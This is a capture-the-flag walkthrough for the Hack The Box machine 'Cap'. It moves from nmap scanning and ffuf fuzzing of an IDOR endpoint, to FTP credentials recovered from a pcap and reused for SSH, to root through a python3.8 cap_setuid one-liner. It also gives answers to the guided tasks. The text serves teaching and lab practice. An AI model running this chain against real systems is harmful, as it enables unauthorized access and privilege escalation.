Cap Walkthrough – HTB Easy Linux Machine

CTF & Bug Bounty » Hack The Box » HTB Machines » Cap Walkthrough – HTB Easy Linux Machine


About

According to Hack The Box, Cap is an easy difficulty Linux machine running an HTTP server […] with Improper controls resulting in Insecure Direct Object Reference (IDOR) giving access to another user’s capture. The capture contains plaintext credentials and can be used to gain foothold. Then, a Linux capability is then leveraged to escalate to root.

Let’s follow the guided mode and answer all the questions!


Recon

Open ports

First, let’s use nmap to scan for open ports running services over TCP on the target IP:

┌─[root@parrot]─[~]
└──╼ #nmap -p- -sS -T5 10.129.1.5
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-15 04:11 CST
Nmap scan report for 10.129.1.5
Host is up (0.076s latency).
Not shown: 64732 closed tcp ports (reset), 800 filtered tcp ports (no-response)
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

nmap arguments:

  • -p-: scan for all ports (from 1 to 65535)
  • -sS: TCP SYN method
  • -T5: use the lowest timeout when probing open ports

As we can see, 3 services are available: FTP, SSH and HTTP. This gives us the answer to the first question:

Task 1: How many TCP ports are open?
Answer: 3

Web service

The next question is about a “Security Snapshot” on the website. But for some reason, Firefox wasn’t working inside the HTB instance, so I did everything using curl. With curl, I sent a GET request to the target IP and simply grepped for “Security Snapshot”:

┌─[root@parrot]─[~]
└──╼ #curl -ski 10.129.1.5 | grep "Security Snapshot"
<li><a href="/capture">Security Snapshot (5 Second PCAP + Analysis)</a></li>

curl arguments:

  • -s: silent mode
  • -k: allow insecure TLS connections
  • -i: show response headers

The web page contains a link to /capture. Let’s see what’s behind this endpoint:

┌─[root@parrot]─[~]
└──╼ #curl -ski 10.129.1.5/capture
HTTP/1.1 302 FOUND
Server: gunicorn
Date: Thu, 15 Jan 2026 10:14:52 GMT
Connection: keep-alive
Content-Type: text/html; charset=utf-8
Content-Length: 220
Location: http://10.129.1.5/data/1

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to target URL: <a href="/data/1">/data/1</a>. If not click the link.

On the /capture endpoint, we receive a 302 redirect to /data/1.

This is the answer to the second question:

Task 2: After running a "Security Snapshot", the browser is redirected to a path of the format /[something]/[id], where [id] represents the id number of the scan. What is the [something]?
Answer: data

Fuzzing the user IDs

It seems that the /data/1 endpoint allows us to download the scans of user 1 on the endpoint /download/1. Let’s fuzz the ID in the URL and see if we can access other users’ scans, as the next question suggests.

We’re going to be using ffuf to go from 0 to 10000:

┌─[root@parrot]─[~]
└──╼ #TF=$(mktemp)
┌─[root@parrot]─[~]
└──╼ #seq 0 10000 > $TF
┌─[root@parrot]─[~]
└──╼ #ffuf -w $TF -u "http://10.129.1.5/download/FUZZ" -r -mc all -fc 404 -s
0
1

commands used:

  • mktemp: create a temporary file in /tmp and returns its absolute path
  • TF=$(mktemp): store the temporary file path inside a variable named “TF”
  • seq 0 10000: returns the sequence of numbers from 0 to 10000. This output is then redirected to the temporary file

ffuf options:

  • -w: path to the wordlist (in this case, the temporary file containing numbers from 0 to 10000, one on each line)
  • -u: URL to query. The FUZZ keyword will be replaced with each word from our file.
  • -r: follows redirect
  • -mc all: means “match code: all”. Any response code from the server (e.g. 404, 200, etc.) will be considered a successful response
  • -fc 404: means “filter code: 404”. Combined with “-mc all”, this allows us to keep all the responses from the server, except for the 404 Not Found.
  • -s: silent mode (does not print the banner nor the details of each successful request)

The results from ffuf are 0 and 1. This means that we can access /data/0, which contains scans from another user (whose ID is 0).

Task 3: Are you able to get to other users' scans?
Answer: yes

Exploit

Packet capture download

Now, let’s download both captures on the /download/ID endpoint and see what’s inside. Let’s first download them:

┌─[root@parrot]─[/tmp]
└──╼ #wget http://10.129.1.5/download/0 -q
┌─[root@parrot]─[/tmp]
└──╼ #wget http://10.129.1.5/download/1 -q
┌─[root@parrot]─[/tmp]
└──╼ #file 0 1
0: pcap capture file, microsecond ts (little-endian) - version 2.4 (Linux cooked v1, capture length 262144)
1: pcap capture file, microsecond ts (little-endian) - version 2.4 (Linux cooked v1, capture length 262144)

commands used:

  • wget: command used to download a file (-q: quiet mode)
  • file: analyses the content of the files given in arguments and output their file types

Using tcpdump to read packet captures

Both files 0 and 1 are packet captures (pcap extension). Let’s see what’s in the file named 0. Wireshark refused to launch, therefore I used tcpdump to read the capture:

┌─[root@parrot]─[/tmp]
└──╼ #tcpdump -r 0
[...]
17: HTTP: HTTP/1.0 200 OK
[...]
08:12:52.585037 IP 192.168.196.16.ftp > 192.168.196.1.54411: Flags [P.], seq 1:21, ack 1, win 502, length 20: FTP: 220 (vsFTPd 3.0.3)
08:12:52.625835 IP 192.168.196.1.54411 > 192.168.196.16.ftp: Flags [.], ack 21, win 4106, length 0
08:12:54.084642 IP 192.168.196.1.54411 > 192.168.196.16.ftp: Flags [P.], seq 1:14, ack 21, win 4106, length 13: FTP: USER nathan
08:12:54.084668 IP 192.168.196.16.ftp > 192.168.196.1.54411: Flags [.], ack 14, win 502, length 0
08:12:54.084772 IP 192.168.196.16.ftp > 192.168.196.1.54411: Flags [P.], seq 21:55, ack 14, win 502, length 34: FTP: 331 Please specify the password.
08:12:54.125843 IP 192.168.196.1.54411 > 192.168.196.16.ftp: Flags [.], ack 55, win 4106, length 0
08:12:55.383140 IP 192.168.196.1.54411 > 192.168.196.16.ftp: Flags [P.], seq 14:36, ack 55, win 4106, length 22: FTP: PASS Buck3tH4TF0RM3!

The packet capture contains HTTP packets as well as FTP packets. FTP data is not encrypted, meaning we can see the full authentication process in clear, revealing the username (nathan) and the associated password (Buck3tH4TF0RM3!).

As we can see in the RFC 959 regarding FTP:

 PASSWORD (PASS)

            The argument field is a Telnet string specifying the user's
            password. This command must be immediately preceded by the
            user name command, and, for some sites, completes the user's
            identification for access control. Since password
            information is quite sensitive, it is desirable in general
            to "mask" it or suppress typeout. It appears that the
            server has no foolproof way to achieve this. It is
            therefore the responsibility of the user-FTP process to hide
            the sensitive password information.

This discovery answers tasks 4 and 5:

Task 4: What is the ID of the PCAP file that contains sensative data?
Answer: 0

Task 5: Which application layer protocol in the pcap file can the sensetive data be found in?
Answer: FTP

Switching to SSH

The next task suggests that nathan’s password is being reused on another service. From our nmap scan, we know that SSH is running on the server, so let’s try and see if nathan uses the same password on FTP and SSH:

┌─[root@parrot]─[/tmp]
└──╼ #ssh nathan@10.129.1.5
The authenticity of host '10.129.1.5 (10.129.1.5)' can't be established.
ED25519 key fingerprint is SHA256:UDhIJpylePItP3qjtVVU+GnSyAZSr+mZKHzRoKcmLUI.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.1.5' (ED25519) to the list of known hosts.
nathan@10.129.1.5's password: 
[...]

Last login: Thu May 27 11:21:27 2021 from 10.10.14.7
nathan@cap:~$ 

command used: ssh

Our login is successful, nathan’s password is the same.

Task 6: We've managed to collect nathan's FTP password. On what other service does this password work?
Answer: SSH

Now let’s read nathan’s flag to answer task 7:

nathan@cap:~$ cat user.txt
dec43**********************

Privilege Escalation

Task 8 wants us to find the full path to the binary on this machine that has special capabilities that can be abused to obtain root privileges.

What are capabilities? Well on Linux, capabilities are specific privileges given to programs. We’ll see examples in a second.

To find files with special capabilities, we’ll use the getcap command with the -r option for a recursive search:

nathan@cap:~$ getcap -r / 2>/dev/null
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep

2>/dev/null redirects the error messages (files and directories we cannot read) to the file /dev/null, which is basically into oblivion

Capabilities explained

Here is a short description for each capability that has been found:

cap_net_raw: this allows a program to use raw sockets, mandatory for programs that use ICMP like ping and traceroute.

cap_net_bind_service: this allows a process to bind to a privileged port (a port less than 1024), like HTTP on port 80. Usually, only the root user can do this.

cap_net_admin: it grants various network administration privileges, such as configuring interfaces, altering routing tables, or managing firewall rules.

cap_setuid: this allows a process to make arbitrary manipulations of process UIDs. While it doesn't grant full root access, it allows the program to switch its user identity to any other user, including root.

Indicators after the “+” sign (e.g. +eip) indicate how the capabilities are applied to the programs:


e (effective): the capability is automatically activated and used by the program when executed.

p (permitted): the program is allowed to use the capability (it acts as a maximum set of privileges the process can assume).

i (inheritable): the capability can be passed down to child processes created by the program.

Exploiting CAP_SETUID to become root

The most critical capability returned by getcap is cap_setuid, that is applied on the Python binary. This gives us an easy way to elevate our privileges: we can run a Python program that sets the UID to 0 (root) and then spawns a shell with root privileges.

This is exactly the payload that we can find on GTFOBins shell section, in the Capabilities tab:

This function is performed bypassing the usual kernel permission checks if the executable has certain capabilities set.

The following capabilities are needed: CAP_SETUID.

python -c 'import os; os.setuid(0); os.execl("/bin/sh", "sh")'

CAP_SETUID is exactly the capability that Python 3.8 has on this machine!

Let’s run the payload, but using bash instead of sh:

nathan@cap:~$ /usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
root@cap:~# id
uid=0(root) gid=1001(nathan) groups=1001(nathan)
root@cap:~# ls -lA /root
total 28
lrwxrwxrwx 1 root root    9 May 15  2021 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Dec  5  2019 .bashrc
drwxr-xr-x 3 root root 4096 May 23  2021 .cache
drwxr-xr-x 3 root root 4096 May 23  2021 .local
-rw-r--r-- 1 root root  161 Dec  5  2019 .profile
drwx------ 2 root root 4096 May 23  2021 .ssh
lrwxrwxrwx 1 root root    9 May 27  2021 .viminfo -> /dev/null
-r-------- 1 root root   33 Jan 15 10:07 root.txt
drwxr-xr-x 3 root root 4096 May 23  2021 snap
root@cap:~# cat /root/root.txt
6e381af6**************************

Answer to the final task:

Task 8: What is the full path to the binary on this machine has special capabilities that can be abused to obtain root privileges?
Answer: /usr/bin/python3.8

Conclusion

This was a really fun easy machine. We covered a very basic IDOR vulnerability, the FTP protocol and file capabilities for privilege escalation.

Vulnerabilities: IDOR, FTP authentication in clear, CAP_SETUID capability granted to a dangerous program

Tools used: nmap, curl, seq, mktemp, ffuf, wget, file, tcpdump, ssh, getcap, python3.8

Click here to read more Hack The Box writeups


Disclaimer

This article is provided for educational purposes only.

All techniques demonstrated were performed in a controlled lab environment.

Do not attempt to reproduce these actions on systems you do not own or have explicit authorization to test.

I do not encourage or take responsibility for any illegal use of the information provided.

Leave a Comment